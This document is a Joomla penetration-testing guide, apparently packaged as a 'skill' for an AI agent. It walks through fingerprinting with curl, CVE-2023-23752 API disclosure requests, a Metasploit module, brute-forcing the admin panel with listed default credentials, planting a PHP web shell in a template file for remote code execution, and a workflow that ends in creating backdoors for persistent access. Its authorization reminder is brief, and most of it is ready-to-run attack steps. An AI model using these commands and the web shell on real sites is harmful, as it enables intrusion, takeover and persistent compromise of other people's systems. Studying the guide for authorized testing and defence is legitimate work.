Joomla Pentesting Skill

A comprehensive guide for security testing Joomla CMS installations.

When to Use This Skill

Use this skill when:

• You need to enumerate a Joomla website
• You want to check for known Joomla vulnerabilities
• You're performing a security assessment on a Joomla installation
• You need to test for brute-force vulnerabilities on Joomla admin panels
• You want to exploit known Joomla RCE vulnerabilities
• You're converting XSS to RCE on Joomla sites

Enumeration

Discovery and Footprinting

Start by identifying if the target is running Joomla:

1. Check meta tags for Joomla generator information:

   curl https://<target>/ | grep -i joomla | grep -i generator
   

   Look for:

   <meta name="generator" content="Joomla! - Open Source Content Management" />

2. Check robots.txt for Joomla-specific paths:

   curl https://<target>/robots.txt
   

   Joomla installations often have specific disallow patterns.

3. Check README.txt for version information:

   curl https://<target>/README.txt
   

Version Detection

Identify the Joomla version to determine applicable vulnerabilities:

1. Check joomla.xml (if accessible):

   curl https://<target>/administrator/manifests/files/joomla.xml
   

2. Check language files:

   curl https://<target>/language/en-GB/en-GB.xml
   

3. Check cache plugin:

   curl https://<target>/plugins/system/cache/cache.xml
   

4. Use automated scanners:

   droopescan scan joomla --url https://<target>/
   

API Information Disclosure (CVE-2023-23752)

Joomla versions 4.0.0 to 4.2.7 are vulnerable to unauthenticated information disclosure:

Check for vulnerable endpoints:

1. Users endpoint:

   curl https://<target>/api/v1/users?public=true
   

2. Config file endpoint:

   curl https://<target>/api/index.php/v1/config/application?public=true
   

Using Metasploit:

msfconsole -q
use scanner/http/joomla_api_improper_access_checks
set RHOSTS <target>
run

Authentication Testing

Brute-Force Attacks

Test for weak credentials on the Joomla admin panel:

Using joomla-bruteforce script:

python3 joomla-brute.py -u https://<target>/ -w /path/to/wordlist.txt -usr admin

Common default credentials to try:

• admin:admin
• administrator:administrator
• admin:password
• admin:joomla

Remote Code Execution (RCE)

Via Admin Panel Access

If you have admin credentials, you can achieve RCE through template customization:

1. Navigate to Templates in the admin panel (Configuration → Templates)
2. Select a template (e.g., protostar)
3. Edit a template file (e.g., error.php)
4. Add PHP one-liner:

   <?php system($_GET['cmd']); ?>
   

5. Save and test:

   curl https://<target>/templates/protostar/error.php?cmd=id
   

Via JoomSploit (XSS to RCE)

JoomSploit is a comprehensive exploitation framework for Joomla:

Capabilities:

• Privilege escalation (create admin users)
• RCE via built-in template editing
• Custom exploits for third-party plugins
• Support for Joomla 3.x, 4.x, and 5.x

Usage:

python3 joomsploit.py --help

Common attacks:

• Create admin user from XSS
• Edit templates for RCE
• Exploit known plugin vulnerabilities

Vulnerability Reference

Known CVEs to Check

CVE	Version Range	Impact
CVE-2023-23752	4.0.0 - 4.2.7	Unauthenticated info disclosure

Version Statistics

Current Joomla version distribution (useful for targeting):

• 3.9: 27.24%
• 3.6: 22.85%
• 3.8: 17.72%
• 3.5: 12.24%
• 3.7: 7.99%
• 3.10: 6.33%
• 4.0: 3.21%

Workflow Recommendations

1. Start with enumeration - Identify Joomla and version
2. Check for known vulnerabilities - Use automated scanners
3. Test API endpoints - Check for CVE-2023-23752
4. Attempt authentication - Try default credentials and brute-force
5. Exploit RCE - Use admin access or XSS to gain code execution
6. Maintain access - Create backdoors or persistent access

Tools

• droopescan - Joomla vulnerability scanner
• JoomSploit - Joomla exploitation framework
• Metasploit -

  scanner/http/joomla_api_improper_access_checks

• joomla-bruteforce - Brute-force script

Safety Notes

• Always obtain proper authorization before testing
• Document all findings for the client
• Test in controlled environments when possible
• Be aware of potential service disruption during testing